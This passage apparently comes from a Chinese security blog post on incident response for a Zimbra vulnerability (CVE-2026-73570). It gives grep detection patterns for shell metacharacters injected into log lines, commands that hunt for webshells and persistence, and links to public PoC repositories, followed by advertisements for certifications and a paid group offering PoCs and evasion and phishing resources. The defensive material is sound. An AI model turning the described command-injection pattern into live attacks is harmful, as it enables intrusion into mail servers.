3. 核对配置:确认 zimbra-snmp / SNMP 通知 / swatchdog 状态
4. 立即处置:升级到 10.1.20+,短期无法升级则执行临时缓解
5. 历史排查:按 7.2 节特征回溯日志,确认是否已被利用
6. 持续监控:处置完成后保持日志监控一段时间
6.2 入侵排查(可直接执行)
CERT Polska 公告给出了明确的排查特征——在 zimbra.log 中检索含有 shell 元字符的\"服务状态变更\"行:
# 核心特征:Service status change 行中出现命令替换/管道等元字符(正常业务不会出现)
grep -E \"Service status change:\" /var/log/zimbra.log* | grep -E '`|\\$\\(|\\||;|&'
# 同时检查 SMTP 会话日志中的异常收件人地址(带引号本地部分是强信号)
grep -E 'RCPT TO:<\"' /var/log/zimbra.log*
命中以下模式即为高度可疑(CERT Polska 原文特征):
Service status change: <恶意载荷> changed from stopped to running
Service status change: <恶意载荷> changed from running to stopped
后渗透痕迹排查:
# 检查 web 可写目录中的新增/近期修改文件(webshell 落地点)
find /opt/zimbra/jetty/webapps /opt/zimbra/jetty_base/webapps \\
-name \"*.jsp\" -o -name \"*.jspx\" -o -name \"*.war\" | xargs ls -la
# 检查 zimbra 用户的异常进程与外连
ps -u zimbra -o pid,lstart,cmd
ss -tnp | grep -v -E ':(25|80|443|465|587|7071|7025)\\b'
# 检查近期新增的定时任务与 SSH 公钥(持久化排查)
crontab -u zimbra -l
ls -la /opt/zimbra/.ssh/ 2>/dev/null
参考资料:
- ▸
PoC (0xBlackash): https://github.com/0xBlackash/CVE-2026-73570
* ▸
PoC (HORKimhab): https://github.com/HORKimhab/CVE-2026-73570
* ▸
nuclei 模板: https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2026/CVE-2026-73570.yaml
- 📄往期推荐:
- CVE-2026-85706:GitLab 未授权任意本地文件读取漏洞分析
- HAPPY-JS v1.6 更新说明:被动抓资产,主动做测试
- JeecgBoot 积木报表 autoexport RCE漏洞(XVE-2026-53510)深度分析
- 1Panel-dev KubePi SSO 管理接口未授权漏洞 (CVE-2026-65956)
关于我们:
感谢各位大佬们关注-不秃头的安全,后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章,同时会组织不定期抽奖,希望能得到各位的关注与支持,考证请加联系vx咨询。
-
1. 需要考以下各类安全证书的可以联系
①Cn\*d,NCC,NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA,oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可,证书组团报更便宜,可对公,可开专普票。以下是其他全部证书
【腾讯文档】【信息安全 数据安全 IT认证证书】~不秃头的安全Vx:Meditation0723
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#
想加群下方二维码,群过期或群满加下方vx拉:
*
## 2. 需要入星球的可以私聊优惠
1、src、cnxd、cnnxd、POC专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、全网搜集POC在线文档,详情poc及证明截图(3000+以上文章)
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享(免杀、溯源、钓鱼等)
6、新鲜工具分享
7、不定期有工作招聘内推(工作/护网内推)
8、19个专栏会持续更新~提前续费有优惠,好用不贵很实惠
## 3、其他合作(合法合规)
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目(须授权),需要攻防团队或岗位招聘都可代发、代招(灰黑勿扰);
2、各位安全老板需要文章推广的请私聊,承接合法合规推广文章发布,可直发、可按产品编辑推广;合作、推广代发、安全项目、岗位代招均可发布;
3、接受脱敏投稿,送一年知识星球及礼包。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论